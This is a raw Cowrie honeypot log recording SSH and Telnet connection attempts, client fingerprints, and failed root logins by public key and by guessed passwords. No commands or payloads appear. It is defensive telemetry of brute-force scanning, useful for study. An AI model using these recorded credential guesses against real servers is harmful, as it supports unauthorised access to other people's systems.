{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":33996,"dst_ip":"159.203.135.109","dst_port":22,"session":"c91ded914880","protocol":"ssh","message":"New connection: 103.149.28.157:33996 (159.203.135.109:22) [session: c91ded914880]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:27:23.572608Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:27:23.577849Z","src_ip":"103.149.28.157","session":"c91ded914880","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:27:23.828258Z","src_ip":"103.149.28.157","session":"c91ded914880","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa12345678","message":"login attempt [root/aa12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:27:24.583214Z","src_ip":"103.149.28.157","session":"c91ded914880","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:27:25.840296Z","src_ip":"103.149.28.157","session":"c91ded914880","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":60890,"dst_ip":"159.203.135.109","dst_port":23,"session":"e25115e2abc0","protocol":"telnet","message":"New connection: 135.148.14.151:60890 (159.203.135.109:23) [session: e25115e2abc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:27:26.021582Z"}
{"eventid":"cowrie.session.closed","duration":33.71315789222717,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:27:36.378780Z","src_ip":"135.148.14.151","session":"55ff8ff4ef71","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.11624813079834,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:27:37.796490Z","src_ip":"135.148.14.151","session":"68bfc10c7fdf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.214.194","src_port":47440,"dst_ip":"10.17.0.5","dst_port":22,"session":"de3df3a3ec55","protocol":"ssh","message":"New connection: 208.115.214.194:47440 (10.17.0.5:22) [session: de3df3a3ec55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:27:52.063030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:27:52.068639Z","src_ip":"208.115.214.194","session":"de3df3a3ec55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:27:52.152925Z","src_ip":"208.115.214.194","session":"de3df3a3ec55","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2b:5a:7f:3f:d0:69:fe:3c:5d:45:1e:20:8a:8f:5d:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBzJR1anVtIukerGT/zxbFKYbX4Y391i77JB/C/esiYvuPh9xkfG07B7vV7rwPZanFkZZRG9EZH0mLD3oax108vBNL6N+ZscdZflF2r6a4vnp19Lb6J/aCc/HPbHrWrlZpmITUE8hMRxdTzunaTaK80KIvvHy8My2ArN2apSSQYQdvY4OM6tVC7LlcFi6rdJIEQDOkth6z9BfmVj8skBM0kLXFRZYBi6G89qOpJAFglRYtqaLCVtiTUcXfueu6Fs9vknZF0HmA8Q1xuhTklC41guMpB0o150ljcBrV6G1b4T+BOveGpkIDMgXEydrEKGLpgclWn7qbUmAXgEUSp+FP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2b:5a:7f:3f:d0:69:fe:3c:5d:45:1e:20:8a:8f:5d:aa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:27:52.521541Z","src_ip":"208.115.214.194","session":"de3df3a3ec55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2b:5a:7f:3f:d0:69:fe:3c:5d:45:1e:20:8a:8f:5d:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBzJR1anVtIukerGT/zxbFKYbX4Y391i77JB/C/esiYvuPh9xkfG07B7vV7rwPZanFkZZRG9EZH0mLD3oax108vBNL6N+ZscdZflF2r6a4vnp19Lb6J/aCc/HPbHrWrlZpmITUE8hMRxdTzunaTaK80KIvvHy8My2ArN2apSSQYQdvY4OM6tVC7LlcFi6rdJIEQDOkth6z9BfmVj8skBM0kLXFRZYBi6G89qOpJAFglRYtqaLCVtiTUcXfueu6Fs9vknZF0HmA8Q1xuhTklC41guMpB0o150ljcBrV6G1b4T+BOveGpkIDMgXEydrEKGLpgclWn7qbUmAXgEUSp+FP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:27:52.525602Z","src_ip":"208.115.214.194","session":"de3df3a3ec55","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"33:36:d9:ce:2c:78:66:e9:22:90:54:de:b7:40:ce:b7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCyQe2fk4w7ELJWC6Yza7ommb38wItgVsuej91v1SmxZhoJp0cxjNFZ7oHXR85VsBMDUakxHqCX5UOTLI3gE91yiWDu6iasJgAIOaus+s0D3GcBH/YFzWgyBMOE3LUX14rl8ZD76TGEpgM0AeIKUHrX+Dc8nxAgi2ROE+uvONekzWdR+fTqRz3AO8PJSWxG6O+XXSpSgkp4EZs0D9hm5E4292HLjPRVUre+VNXrFWQH1RppXd+gAZJGFcBoZDrPnvfwMxNdGyAxCiS9vaNynPqE2MnGXpsZt47NCHCAKNa6R9A6kiaZvlzEoKjQtYYQlY78nQ1PeSE3YEf9+k/DlkN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 33:36:d9:ce:2c:78:66:e9:22:90:54:de:b7:40:ce:b7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:27:52.604566Z","src_ip":"208.115.214.194","session":"de3df3a3ec55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"33:36:d9:ce:2c:78:66:e9:22:90:54:de:b7:40:ce:b7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCyQe2fk4w7ELJWC6Yza7ommb38wItgVsuej91v1SmxZhoJp0cxjNFZ7oHXR85VsBMDUakxHqCX5UOTLI3gE91yiWDu6iasJgAIOaus+s0D3GcBH/YFzWgyBMOE3LUX14rl8ZD76TGEpgM0AeIKUHrX+Dc8nxAgi2ROE+uvONekzWdR+fTqRz3AO8PJSWxG6O+XXSpSgkp4EZs0D9hm5E4292HLjPRVUre+VNXrFWQH1RppXd+gAZJGFcBoZDrPnvfwMxNdGyAxCiS9vaNynPqE2MnGXpsZt47NCHCAKNa6R9A6kiaZvlzEoKjQtYYQlY78nQ1PeSE3YEf9+k/DlkN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:27:52.609121Z","src_ip":"208.115.214.194","session":"de3df3a3ec55","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c2:f1:5e:22:ac:14:d0:26:f9:b4:30:b3:05:d5:87:a4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCiwb7Hb6gsVTBiZ5CeVfjxdgE5+R3owEkM7weq3lqO8JKLY9mavwnUqy2EepvpD8WUJGdWJjo4mEAt1IHeiVaIAPihp2VMJdukTzdUNlQxMZ+KHNXeQ8pW8CTDUaSeR04t+YpPQ3RbQgupQ+a9bTJDP7AWmVILVClLMxiychj29Wm0eZh6yW7+h8gAbHpDnV532r6yAiIULszu/qOF9DG3vcGRog2eQ65egXeO9uezz7y+zJkUzWr7fHOxZyqZYVTw/o++/itOv7nBVa2g5fKdyq6vozmQ+FQt1Tb0dT6jS/UDVUn0rIxt/wQkMWRr8+B1nkGv0Rg5hIFHcpgr6UJB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c2:f1:5e:22:ac:14:d0:26:f9:b4:30:b3:05:d5:87:a4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:27:52.688237Z","src_ip":"208.115.214.194","session":"de3df3a3ec55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c2:f1:5e:22:ac:14:d0:26:f9:b4:30:b3:05:d5:87:a4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCiwb7Hb6gsVTBiZ5CeVfjxdgE5+R3owEkM7weq3lqO8JKLY9mavwnUqy2EepvpD8WUJGdWJjo4mEAt1IHeiVaIAPihp2VMJdukTzdUNlQxMZ+KHNXeQ8pW8CTDUaSeR04t+YpPQ3RbQgupQ+a9bTJDP7AWmVILVClLMxiychj29Wm0eZh6yW7+h8gAbHpDnV532r6yAiIULszu/qOF9DG3vcGRog2eQ65egXeO9uezz7y+zJkUzWr7fHOxZyqZYVTw/o++/itOv7nBVa2g5fKdyq6vozmQ+FQt1Tb0dT6jS/UDVUn0rIxt/wQkMWRr8+B1nkGv0Rg5hIFHcpgr6UJB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:27:52.692012Z","src_ip":"208.115.214.194","session":"de3df3a3ec55","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8c:17:fa:25:1a:a7:d6:69:95:04:7b:cf:1f:16:6f:58","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCNzBRTV/ejA2It9k3tfGXAzJhonCGcEPx6Nxl+vgB0U+CboFiGL1bANSGrppHpOtdWdFv8eMGFxSQbl73NhvyVH6DxzBLdEjxbuaKEqJNSoVhTYvW0tC3bcND8koa75xnHH/QxBGcOHOoI2kmQhsv/s8o7l1/Pj3Vrt/A9CQ2NRHPCvBDOcmi4Cr1u3S4Z5aC28x1yIiPdT/rHukNOnIIYZaeTQOS31jDHKmBc07OoSD7wu/xfP79rMAvrkGxpfSjk4M3Ya6Y1pTKSgjQHjnWKDCEvnYIcTqMSwgzjubreinC8cnmujcvTxTyke/xQw/cOM82BmBQ1IpR4fkkUJadtGzS9OaQNo8QPWLzPIIt6UP/0FGmMoPHlEZUOWIWds92TCFXe69KWkcRaHm3w6yToapN7y8+RB3nv14pIi56wYldrSrQz1hz9WmNJ/3iTU3YPi/je1WENJPMcurI+WJNNqVJcTwZ/NedGRx9jfE+rrnHL19SQ6Dxx0nqcGoKO6fEYJIrLkohnqnHF7WaST2Yp+fRsuGEuGGWn5AA4vHdhuHPNl34wMVb8qUV91o0h5kNinm1O+cMIsRDoTfZGqtDH02OP4n8TEynn3R1JMbCM/rWt2xr/Zg9ElxJuXo6w0e7r1Q8hF9YYU2PYDTFsC9FPv5BD+z3trTgQxlGmKFp7uw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8c:17:fa:25:1a:a7:d6:69:95:04:7b:cf:1f:16:6f:58","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:27:52.776903Z","src_ip":"208.115.214.194","session":"de3df3a3ec55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8c:17:fa:25:1a:a7:d6:69:95:04:7b:cf:1f:16:6f:58","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCNzBRTV/ejA2It9k3tfGXAzJhonCGcEPx6Nxl+vgB0U+CboFiGL1bANSGrppHpOtdWdFv8eMGFxSQbl73NhvyVH6DxzBLdEjxbuaKEqJNSoVhTYvW0tC3bcND8koa75xnHH/QxBGcOHOoI2kmQhsv/s8o7l1/Pj3Vrt/A9CQ2NRHPCvBDOcmi4Cr1u3S4Z5aC28x1yIiPdT/rHukNOnIIYZaeTQOS31jDHKmBc07OoSD7wu/xfP79rMAvrkGxpfSjk4M3Ya6Y1pTKSgjQHjnWKDCEvnYIcTqMSwgzjubreinC8cnmujcvTxTyke/xQw/cOM82BmBQ1IpR4fkkUJadtGzS9OaQNo8QPWLzPIIt6UP/0FGmMoPHlEZUOWIWds92TCFXe69KWkcRaHm3w6yToapN7y8+RB3nv14pIi56wYldrSrQz1hz9WmNJ/3iTU3YPi/je1WENJPMcurI+WJNNqVJcTwZ/NedGRx9jfE+rrnHL19SQ6Dxx0nqcGoKO6fEYJIrLkohnqnHF7WaST2Yp+fRsuGEuGGWn5AA4vHdhuHPNl34wMVb8qUV91o0h5kNinm1O+cMIsRDoTfZGqtDH02OP4n8TEynn3R1JMbCM/rWt2xr/Zg9ElxJuXo6w0e7r1Q8hF9YYU2PYDTFsC9FPv5BD+z3trTgQxlGmKFp7uw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:27:52.781175Z","src_ip":"208.115.214.194","session":"de3df3a3ec55","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"22:83:63:b9:9b:88:e1:16:ac:e5:54:5f:a9:9a:d2:f0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCFx3kmJpePVSs0kb7nOTyIr3lrose/4lUMvrJm4i11Vwwz9v5xfzW68CTrYvptdP89tHTgDaoaT4aqVphCGUMMCwwlvVG2fpcxTuOTVX+j5qVe3VdeLao8mGXEMS/EchgClCSzCI+Lwln2Pf3f82f5VSrX/ziUzogmNaKZdzI8iA7JPHE+82wf5e3sltovsebK3ALeNl8aK9h4JtE3LZxtQxg2LRLwy9hCtJqCRvhoYjxem9/PIhBgZgyZatzGmbJBOiGRMzlL6nLsx+n+qVE127RG8VDZDfZPDE8CQF3p1vvMs2p/4yD/r6kjP0QaYOIMPyaVXvZERJ/WhzX1bUAX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 22:83:63:b9:9b:88:e1:16:ac:e5:54:5f:a9:9a:d2:f0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:27:52.860211Z","src_ip":"208.115.214.194","session":"de3df3a3ec55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"22:83:63:b9:9b:88:e1:16:ac:e5:54:5f:a9:9a:d2:f0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCFx3kmJpePVSs0kb7nOTyIr3lrose/4lUMvrJm4i11Vwwz9v5xfzW68CTrYvptdP89tHTgDaoaT4aqVphCGUMMCwwlvVG2fpcxTuOTVX+j5qVe3VdeLao8mGXEMS/EchgClCSzCI+Lwln2Pf3f82f5VSrX/ziUzogmNaKZdzI8iA7JPHE+82wf5e3sltovsebK3ALeNl8aK9h4JtE3LZxtQxg2LRLwy9hCtJqCRvhoYjxem9/PIhBgZgyZatzGmbJBOiGRMzlL6nLsx+n+qVE127RG8VDZDfZPDE8CQF3p1vvMs2p/4yD/r6kjP0QaYOIMPyaVXvZERJ/WhzX1bUAX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:27:52.864494Z","src_ip":"208.115.214.194","session":"de3df3a3ec55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:27:52.943708Z","src_ip":"208.115.214.194","session":"de3df3a3ec55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":46382,"dst_ip":"159.203.135.109","dst_port":23,"session":"22e316ac6b35","protocol":"telnet","message":"New connection: 135.148.14.151:46382 (159.203.135.109:23) [session: 22e316ac6b35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:27:57.500435Z"}
{"eventid":"cowrie.session.closed","duration":33.08490991592407,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:27:59.106349Z","src_ip":"135.148.14.151","session":"e25115e2abc0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":38342,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6f408c45c0e","protocol":"ssh","message":"New connection: 62.133.62.83:38342 (159.203.135.109:22) [session: d6f408c45c0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:28:01.630187Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:28:01.634688Z","src_ip":"62.133.62.83","session":"d6f408c45c0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:28:01.716370Z","src_ip":"62.133.62.83","session":"d6f408c45c0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"chacha","message":"login attempt [root/chacha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:28:01.960834Z","src_ip":"62.133.62.83","session":"d6f408c45c0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:28:03.052405Z","src_ip":"62.133.62.83","session":"d6f408c45c0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":41212,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3c7f8c2f1c9","protocol":"ssh","message":"New connection: 193.228.128.84:41212 (10.17.0.5:22) [session: e3c7f8c2f1c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:28:21.683820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:28:21.689782Z","src_ip":"193.228.128.84","session":"e3c7f8c2f1c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:28:21.792279Z","src_ip":"193.228.128.84","session":"e3c7f8c2f1c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gtnhjd27","message":"login attempt [root/gtnhjd27] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:28:22.106311Z","src_ip":"193.228.128.84","session":"e3c7f8c2f1c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":56080,"dst_ip":"159.203.135.109","dst_port":23,"session":"bfc1a96ccb95","protocol":"telnet","message":"New connection: 135.148.14.151:56080 (159.203.135.109:23) [session: bfc1a96ccb95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:28:22.506955Z"}
